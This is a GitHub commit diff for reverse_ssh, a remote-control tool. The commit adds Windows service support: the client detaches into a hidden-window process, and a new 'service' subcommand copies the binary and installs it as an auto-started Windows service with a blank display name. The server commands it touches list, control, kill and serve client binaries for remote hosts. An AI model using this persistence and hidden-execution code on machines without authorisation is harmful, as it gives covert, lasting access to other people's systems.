Skip to content

Commit 99b3a85

Browse files
committed
Add untested starting work for windows service compatiablity
1 parent 8346165 commit 99b3a85

File tree

14 files changed

+229
-28
lines changed

14 files changed

+229
-28
lines changed

cmd/client/detach_windows.go

+94-11
Original file line numberDiff line numberDiff line change
@@ -3,34 +3,117 @@
33
package main
44

55
import (
6+
"fmt"
67
"log"
78
"os"
89
"os/exec"
910
"syscall"
11+
"time"
1012

1113
"github.com/NHAS/reverse_ssh/internal/client"
14+
"golang.org/x/sys/windows/svc"
15+
"golang.org/x/sys/windows/svc/debug"
16+
"golang.org/x/sys/windows/svc/eventlog"
1217
)
1318

1419
func Fork(destination, fingerprint, proxyaddress string) error {
15-
log.Println("Forking")
1620

17-
modkernel32 := syscall.NewLazyDLL("kernel32.dll")
18-
procAttachConsole := modkernel32.NewProc("FreeConsole")
19-
syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0)
21+
inService, err := svc.IsWindowsService()
22+
if err != nil {
23+
log.Fatalf("failed to determine if we are running in service: %v", err)
24+
}
25+
26+
if !inService {
27+
28+
log.Println("Forking")
29+
30+
modkernel32 := syscall.NewLazyDLL("kernel32.dll")
31+
procAttachConsole := modkernel32.NewProc("FreeConsole")
32+
syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0)
2033

21-
path, _ := os.Executable()
34+
path, _ := os.Executable()
2235

23-
cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
24-
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
25-
err := cmd.Start()
36+
cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
37+
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
38+
err = cmd.Start()
2639

27-
if cmd.Process != nil {
28-
cmd.Process.Release()
40+
if cmd.Process != nil {
41+
cmd.Process.Release()
42+
}
43+
return nil
2944
}
3045

46+
runService("RSSH", destination, fingerprint, proxyaddress)
47+
3148
return err
3249
}
3350

51+
var elog debug.Log
52+
53+
type rsshService struct {
54+
Dest, Fingerprint, Proxy string
55+
}
56+
57+
func runService(name, destination, fingerprint, proxyaddress string) {
58+
var err error
59+
60+
elog, err := eventlog.Open(name)
61+
if err != nil {
62+
return
63+
}
64+
65+
defer elog.Close()
66+
67+
elog.Info(1, fmt.Sprintf("starting %s service", name))
68+
err = svc.Run(name, &rsshService{
69+
destination,
70+
fingerprint,
71+
proxyaddress,
72+
})
73+
if err != nil {
74+
elog.Error(1, fmt.Sprintf("%s service failed: %v", name, err))
75+
return
76+
}
77+
elog.Info(1, fmt.Sprintf("%s service stopped", name))
78+
}
79+
80+
func (m *rsshService) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
81+
const cmdsAccepted = svc.AcceptStop | svc.AcceptShutdown
82+
changes <- svc.Status{State: svc.StartPending}
83+
go Run(m.Dest, m.Fingerprint, m.Proxy)
84+
changes <- svc.Status{State: svc.Running, Accepts: cmdsAccepted}
85+
86+
for c := range r {
87+
switch c.Cmd {
88+
case svc.Interrogate:
89+
changes <- c.CurrentStatus
90+
// Testing deadlock from https://code.google.com/p/winsvc/issues/detail?id=4
91+
time.Sleep(100 * time.Millisecond)
92+
changes <- c.CurrentStatus
93+
case svc.Stop, svc.Shutdown:
94+
break
95+
default:
96+
elog.Error(1, fmt.Sprintf("unexpected control request #%d", c))
97+
}
98+
}
99+
100+
changes <- svc.Status{State: svc.StopPending}
101+
return
102+
}
103+
34104
func Run(destination, fingerprint, proxyaddress string) {
35-
client.Run(destination, fingerprint, proxyaddress)
105+
106+
inService, err := svc.IsWindowsService()
107+
if err != nil {
108+
log.Fatalf("failed to determine if we are running in service: %v", err)
109+
}
110+
111+
if !inService {
112+
113+
client.Run(destination, fingerprint, proxyaddress)
114+
return
115+
}
116+
117+
runService("rssh", destination, fingerprint, proxyaddress)
118+
36119
}

go.mod

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ require (
77
github.com/creack/pty v1.1.17
88
github.com/shirou/gopsutil v3.21.11+incompatible
99
golang.org/x/crypto v0.0.0-20220214200702-86341886e292
10-
golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9
10+
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
1111
)
1212

1313
require (

go.sum

+2
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,8 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc
4040
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
4141
golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9 h1:nhht2DYV/Sn3qOayu8lM+cU1ii9sTLUeBQwQQfUHtrs=
4242
golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
43+
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a h1:dGzPydgVsqGcTRVwiLJ1jVbufYwmzD3LfVPLKsKg+0k=
44+
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
4345
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
4446
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
4547
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
Original file line numberDiff line numberDiff line change
@@ -1 +1,8 @@
1+
//go:build windows
2+
13
package subsystems
4+
5+
//Enable service install
6+
func init() {
7+
subsystems["service"] = new(service)
8+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
//go:build windows
2+
3+
package subsystems
4+
5+
import (
6+
"errors"
7+
"fmt"
8+
"io/ioutil"
9+
"os"
10+
11+
"github.com/NHAS/reverse_ssh/internal/terminal"
12+
"golang.org/x/crypto/ssh"
13+
"golang.org/x/sys/windows/svc/eventlog"
14+
"golang.org/x/sys/windows/svc/mgr"
15+
)
16+
17+
type service bool
18+
19+
func (s *service) Execute(line terminal.ParsedLine, connection ssh.Channel, subsystemReq *ssh.Request) error {
20+
subsystemReq.Reply(true, nil)
21+
22+
arg, err := line.GetArgString("install")
23+
if err != terminal.ErrFlagNotSet {
24+
if err != nil {
25+
return err
26+
}
27+
return s.installService("rssh", arg)
28+
}
29+
30+
arg, err = line.GetArgString("uninstall")
31+
if err != terminal.ErrFlagNotSet {
32+
if err != nil {
33+
return err
34+
}
35+
36+
return s.uninstallService(arg)
37+
}
38+
39+
return errors.New(terminal.MakeHelpText(
40+
"service [MODE] [ARGS|...]",
41+
"The service submodule can install or removed the rssh binary as a service",
42+
"\t--install\tTakes 1 argument, a location to copy the rssh binary to. E.g service --install rssh C:\\path\\here\\rssh.exe",
43+
"\t--uninstall\tTakes 1 argument, the name of a service to remove. Will not check if this is the rssh service",
44+
))
45+
}
46+
47+
func (s *service) installService(name, location string) error {
48+
49+
currentPath, err := os.Executable()
50+
if err != nil {
51+
return errors.New("Unable to find the current binary location: " + err.Error())
52+
}
53+
54+
input, err := ioutil.ReadFile(currentPath)
55+
if err != nil {
56+
return err
57+
}
58+
59+
err = ioutil.WriteFile(location, input, 0644)
60+
if err != nil {
61+
return err
62+
}
63+
64+
m, err := mgr.Connect()
65+
if err != nil {
66+
return err
67+
}
68+
defer m.Disconnect()
69+
70+
newService, err := m.OpenService(name)
71+
if err == nil {
72+
newService.Close()
73+
return fmt.Errorf("service %s already exists", name)
74+
}
75+
newService, err = m.CreateService(name, location, mgr.Config{DisplayName: ""}, "is", "auto-started")
76+
if err != nil {
77+
return err
78+
}
79+
defer newService.Close()
80+
err = eventlog.InstallAsEventCreate(name, eventlog.Error|eventlog.Warning|eventlog.Info)
81+
if err != nil {
82+
newService.Delete()
83+
return fmt.Errorf("SetupEventLogSource() failed: %s", err)
84+
}
85+
return nil
86+
87+
}
88+
89+
func (s *service) uninstallService(name string) error {
90+
m, err := mgr.Connect()
91+
if err != nil {
92+
return err
93+
}
94+
defer m.Disconnect()
95+
serviceToRemove, err := m.OpenService(name)
96+
if err != nil {
97+
return fmt.Errorf("service %s is not installed", name)
98+
}
99+
defer serviceToRemove.Close()
100+
err = serviceToRemove.Delete()
101+
if err != nil {
102+
return err
103+
}
104+
err = eventlog.Remove(name)
105+
if err != nil {
106+
return fmt.Errorf("RemoveEventLogSource() failed: %s", err)
107+
}
108+
return nil
109+
110+
}

internal/server/commands/connect.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,7 @@ func (c *connect) Help(explain bool) string {
7777
return "Start shell on remote controllable host."
7878
}
7979

80-
return makeHelpText(
80+
return terminal.MakeHelpText(
8181
"connect " + autocomplete.RemoteId,
8282
)
8383
}

internal/server/commands/exec.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -124,7 +124,7 @@ func (e *exec) Help(explain bool) string {
124124
return "Execute a command on one or more rssh client"
125125
}
126126

127-
return makeHelpText(
127+
return terminal.MakeHelpText(
128128
"exec [OPTIONS] filter|host command",
129129
"Filter uses glob matching against all attributes of a target (hostname, ip, id), allowing you to run a command against multiple machines",
130130
"\t-q\tQuiet, no output (will also remove confirmation prompt)",

internal/server/commands/help.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,7 @@ func (h *help) Help(explain bool) string {
6666
return "Get help for commands, or display all commands"
6767
}
6868

69-
return makeHelpText(
69+
return terminal.MakeHelpText(
7070
"help",
7171
"help <functions>",
7272
)

internal/server/commands/kill.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ func (k *kill) Help(explain bool) string {
5454
return "End a remote controllable host instance."
5555
}
5656

57-
return makeHelpText(
57+
return terminal.MakeHelpText(
5858
"kill <remote_id>",
5959
"kill <glob pattern>",
6060
)

internal/server/commands/link.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,7 @@ func (e *link) Help(explain bool) string {
150150
return "Generate client binary and return link to it"
151151
}
152152

153-
return makeHelpText(
153+
return terminal.MakeHelpText(
154154
"link [OPTIONS]",
155155
"Link will compile a client and serve the resulting binary on a link which is returned.",
156156
"This requires the web server component has been enabled.",

internal/server/commands/list.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -107,7 +107,7 @@ func (l *list) Help(explain bool) string {
107107
return "List connected controllable hosts."
108108
}
109109

110-
return makeHelpText(
110+
return terminal.MakeHelpText(
111111
"ls [OPTION] [FILTER]",
112112
"Filter uses glob matching against all attributes of a target (hostname, ip, id)",
113113
"\t-t\tPrint all attributes in pretty table",

internal/server/commands/util.go

-9
This file was deleted.

internal/server/commands/who.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -31,5 +31,5 @@ func (w *who) Help(explain bool) string {
3131
return "List users connected to the RSSH server"
3232
}
3333

34-
return makeHelpText("who")
34+
return terminal.MakeHelpText("who")
3535
}

internal/terminal/utils.go

+8
Original file line numberDiff line numberDiff line change
@@ -336,3 +336,11 @@ func ParseLine(line string, cursorPosition int) (pl ParsedLine) {
336336
return
337337

338338
}
339+
340+
func MakeHelpText(lines ...string) (s string) {
341+
for _, v := range lines {
342+
s += v + "\n"
343+
}
344+
345+
return s
346+
}

0 commit comments

Comments
 (0)